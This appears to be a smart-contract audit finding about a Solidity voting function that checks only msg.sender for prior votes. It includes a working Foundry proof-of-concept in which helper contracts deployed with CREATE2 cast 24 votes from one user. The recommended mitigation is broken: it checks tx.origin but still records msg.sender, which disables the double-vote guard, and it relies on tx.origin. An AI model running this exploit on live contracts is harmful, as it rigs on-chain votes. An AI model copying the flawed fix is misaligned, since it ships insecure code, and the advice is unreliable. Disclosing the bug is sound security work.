Description The ManteritsaVoting:voteForMartenitsa
function is checking the wrong address to see if the user has already voted.
function voteForMartenitsa(uint256 tokenId) external {
@> require(!hasVoted[msg.sender], "You have already voted");
require(block.timestamp < startVoteTime + duration, "The voting is no longer active");
list = _martenitsaMarketplace.getListing(tokenId);
require(list.forSale, "You are unable to vote for this martenitsa");
hasVoted[msg.sender] = true;
voteCounts[tokenId] += 1;
_tokenIds.push(tokenId);
}
Impact Checking msg.sender only gives the address of the most recent caller in the stack. This allows a single user to bypass this check by using a helper contract to mine addresses for many votes in a single transaction.
Proof Of Concept
A user can use MinimalProxy contracts to mine addresses in a single call to vote many times. Bypassing the hasVoted
check.
Place the following test in your test file
interface IVOTE {
function voteForMartenitsa(uint256 tokenId) external;
}
contract voteHelper {
constructor(uint x, address y) {
IVOTE(y).voteForMartenitsa(x);
}
}
contract PocTest is Test, BaseTest {
function testManyVoteForMartenitsa() public listMartenitsa {
vm.startPrank(bob);
for (uint256 i = 1; i < 25; i++) {
bytes32 salt = keccak256(abi.encodePacked(i,msg.sender));
address helper = address(new voteHelper{salt: salt}(0, address(voting)));
}
vm.stopPrank();
console.log("number of votes:", voting.voteCounts(0) );
}
}
console log
Ran 1 test for test/PocTest.t.sol:PocTest
[PASS] testManyVoteForMartenitsa() (gas: 2266316)
Logs:
number of votes: 24
Recommended Mitigation: Change this check to use tx.origin instead of msg.sender.
function voteForMartenitsa(uint256 tokenId) external {
+ require(!hasVoted[tx.origin], "You have already voted");
- require(!hasVoted[msg.sender], "You have already voted");
require(block.timestamp < startVoteTime + duration, "The voting is no longer active");
list = _martenitsaMarketplace.getListing(tokenId);
require(list.forSale, "You are unable to vote for this martenitsa");
hasVoted[msg.sender] = true;
voteCounts[tokenId] += 1;
_tokenIds.push(tokenId);
}